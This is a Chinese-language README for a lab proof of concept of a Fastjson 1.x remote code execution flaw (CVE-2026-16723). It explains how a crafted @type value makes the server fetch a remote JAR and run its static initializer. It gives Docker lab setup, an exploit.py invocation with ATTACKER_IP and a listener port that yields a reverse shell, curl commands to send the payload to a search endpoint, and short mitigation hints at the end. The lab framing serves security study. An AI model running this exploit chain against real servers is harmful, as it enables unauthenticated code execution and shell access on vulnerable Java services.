★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 是 Fastjson 1.x(1.2.68 – 1.2.83)中的一个**远程代码执行(RCE)**漏洞。 当 Fastjson 解析攻击者可控的 JSON 时,一个精心构造的
@type值会在checkAutoType中被转换为类资源查找。在 Spring Boot 可执行 fat-JAR 中,类加载器将该名称解析为jar:http://URL 并获取远程 JAR(SSRF),随后加载一个带有@JSONType注解的类,即使 AutoType 已禁用。 由于现代 JDK / Tomcat 会拒绝jar:http://二进制名称,可靠的变体将 JAR 植入 JVM 缓存,并通过jar:file:/proc/self/fd/N重新读取它,从而使该类被定义且其静态初始化器被执行,实现代码执行。 AutoType 保持禁用状态,且不需要任何 classpath gadget。
| 类别 | 版本 |
|---|---|
| 受影响 | Fastjson 1.2.68 ≤ version ≤ 1.2.83 |
| 已修复 | 迁移至 Fastjson 2.x(1.x 无修复版本) |
实验目标是公开的商店前端(Northwind Store),其搜索 API 使用
Fastjson 绑定请求体。一切均为 Fastjson 的默认配置:
SafeMode 关闭、AutoType 关闭,打包为 Spring Boot fat-JAR。
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| 前置条件 | 本实验中的状态 |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot 可执行 fat-JAR | 是 |
| 未认证的 JSON 解析路径 | POST /api/products/search |
| SafeMode / AutoType | 默认(均关闭) |
攻击者和目标运行在同一 Docker 桥接网络上,因此目标通过出站连接访问攻击者(无需发布额外端口)。
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py 构建 payload JAR、提供该 JAR、启动监听器并打印
请求体。只需提供回调地址。
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
将打印出的请求体粘贴到搜索端点(Burp Repeater 或 curl)并
发送。搜索请求是正常功能;只有其 JSON 体是精心构造的。
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
代码以服务账户身份运行。通过获取的 shell 读取 flag:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true 启动 JVMjar:http 或 jar:file / /proc/self/fd 模式的 JSON @type 值